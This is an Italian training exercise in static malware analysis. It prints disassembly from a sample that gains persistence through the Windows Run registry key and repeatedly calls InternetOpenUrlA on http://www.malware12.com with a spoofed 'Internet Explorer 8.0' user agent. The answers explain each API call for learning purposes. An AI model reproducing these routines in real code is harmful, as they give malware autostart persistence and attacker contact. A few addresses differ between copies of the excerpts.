




# Esercizio S11 L1



Traccia:

Con riferimento agli estratti di un malware reale presenti nelle prossime slide, rispondere alle seguenti domande:

- 1 - Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite.
- 2 - Identificare il client software utilizzato dal malware per la connessione ad Internet.
- 3 - Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL.



---

```
0040286F  push     2                ; samDesired
00402871  push     eax              ; ulOptions
00402872  push     offset SubKey    ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877  push     HKEY_LOCAL_MACHINE ; hKey
0040287C  call     esi              ; RegOpenKeyExW
0040287E  test     eax, eax
00402880  jnz      short loc_4028C5
00402882
00402882  loc_402882:
00402882  lea      ecx, [esp+424h+Data]
00402886  push     ecx              ; lpString
00402887  mov      bl, 1
00402889  call     ds:lstrlenW
0040288F  lea      edx, [eax+eax+2]
00402893  push     edx              ; cbData
00402894  mov      edx, [esp+428h+hKey]
00402898  lea      eax, [esp+428h+Data]
0040289C  push     eax              ; lpData
0040289D  push     1                ; dwType
0040289F  push     0                ; Reserved
004028A1  lea      ecx, [esp+434h+ValueName]
004028A8  push     ecx              ; lpValueName
004028A9  push     edx              ; hKey
004028AA  call     ds:RegSetValueExW
```

---

```

-----
.text:00401150 ; ::::::::::::::: S U B R O U T I N E :::::::::::::::
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress proc near ; DATA XREF: sub_401040+EC70
.text:00401150 push esi
.text:00401151 push edi
.text:00401152 push 0 ; dwFlags
.text:00401154 push 0 ; lpszProxyBypass
.text:00401156 push 0 ; lpszProxy
.text:00401158 push 1 ; dwAccessType
.text:0040115A push offset szAgent ; "Internet Explorer 8.0"
.text:0040115F call ds:InternetOpenA
.text:00401165 mov edi, ds:InternetOpenUrlA
.text:00401168 mov esi, eax
.text:0040116D
.text:0040116D loc_40116D: ; CODE XREF: StartAddress+30↓j
.text:0040116D push 0 ; dwContext
.text:0040116F push 80000000h ; dwFlags
.text:00401174 push 0 ; dwHeadersLength
.text:00401176 push 0 ; lpszHeaders
.text:00401178 push offset szUrl ; "http://www.malware12.COM
.text:0040117D push esi ; hInternet
.text:0040117E call edi ; InternetOpenUrlA
.text:00401180 jmp short loc_40116D
.text:00401180 StartAddress endp
.text:00401180

```




## Risposta al quesito 1:

Molto spesso i malware tentano di insediarsi all'interno di un sistema informatico per essere più difficili da individuare e da rimuovere, un modo che hanno di raggiungere questo obiettivo è quello di ottenere la cosiddetta "persistenza" cioè l'abilità di avviarsi da solo all'avvio del sistema in maniera automatica e autonoma.

Un modo piuttosto comune per riuscire in questo intento è quello di modificare i registri di Windows, il che permette di andare a modificare determinate impostazioni e configurazioni di sistema o configurazioni delle applicazioni e del loro rapporto di funzionamento col sistema.

Andiamo a vedere adesso nella prima schermata di codice Assembly come fa il malware ad ottenere la suddetta persistenza.



```
0040286F  push    2                ; samDesired
00402871  push    eax              ; ulOptions
00402872  push    offset SubKey    ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877  push    HKEY_LOCAL_MACHINE ; hKey
0040287C  call    esi ; RegOpenKeyExW
```

in questa prima porzione di codice possiamo notare il passaggio di alcuni parametri necessari per richiamare la funzione RegOpenKeyEx, che è un funzione che fa parte dei registri Windows e in particolare che permette di aprire una chiave di registro al fine di modificarla.

```
004028A1  lea     ecx, [esp+434h+ValueName]
004028A8  push    ecx              ; lpValueName
004028A9  push    edx              ; hKey
004028AA  call    ds:RegSetValueExW
```

In quest'altro set di istruzioni possiamo invece vedere come altri parametri siano passati alla funzione RegSetValueEx, funzione che ha il compito effettivo di effettuare la modifica della chiave di registro coi valori che gli sono stati passati. Quindi in sostanza la prima funzione garantisce l'accesso alla chiave mentre la seconda funzione ne modifica i parametri.

## Risposta al quesito 2:

Per rispondere al secondo quesito analizziamo il seguente estratto dalla seconda schermata di codice proposto.

```
.text:00401150      push     esi
.text:00401151      push     edi
.text:00401152      push     0                ; dwFlags
.text:00401154      push     0                ; lpszProxyBypass
.text:00401156      push     0                ; lpszProxy
.text:00401158      push     1                ; dwAccessType
.text:0040115A      push     offset szAgent    ; "Internet Explorer 8.0"
.text:0040115F      call     ds:InternetOpenA
.text:00401165      mov      edi, ds:InternetOpenUrlA
.text:0040116B      mov      esi, eax
```

Come possiamo osservare vari parametri vengono passati alla funzione InternetOpenA, che è una funzione che fa parte della libreria Wininet.dll e che in particolare inizializza l'uso di un'applicazione delle funzioni WinINet. Tra i vari parametri passati alla funzione uno in particolare colpisce la nostra attenzione, il parametro offset szAgent infatti specifica il nome dell'applicazione o dell'entità che chiama le funzioni WinINet, che in questo caso pare essere Internet Explorer 8.0. L'esito di questa funzione viene poi passato alla funzione InternetOpenUrlA.

## Risposta al quesito 3:

Per rispondere al terzo quesito analizziamo il seguente estratto dalla seconda schermata di codice proposto.

```
.text:0040116D loc_40116D: ; CODE XREF: StartAddress+30↓j
.text:0040116D      push      0 ; dwContext
.text:0040116F      push      80000000h ; dwFlags
.text:00401174      push      0 ; dwHeadersLength
.text:00401176      push      0 ; lpszHeaders
.text:00401178      push      offset szUrl ; "http://www.malware12.com
.text:0040117D      push      esi ; hInternet
.text:0040117E      call     edi ; InternetOpenUrlA
.text:00401180      jmp      loc_401180
```

Anche qua possiamo osservare come vari parametri vengano caricati alla funzione InternetOpenUrlA che ha il compito di aprire una risorsa specificata da un URL FTP o HTTP completo. In particolare il parametro hInternet è l'esito della funzione precedente, mentre il parametro offset szUrl specifica l'URL per iniziare la lettura. Nel nostro caso sembra che la lettura sia effettuata dal seguente indirizzo "http://malware12.com"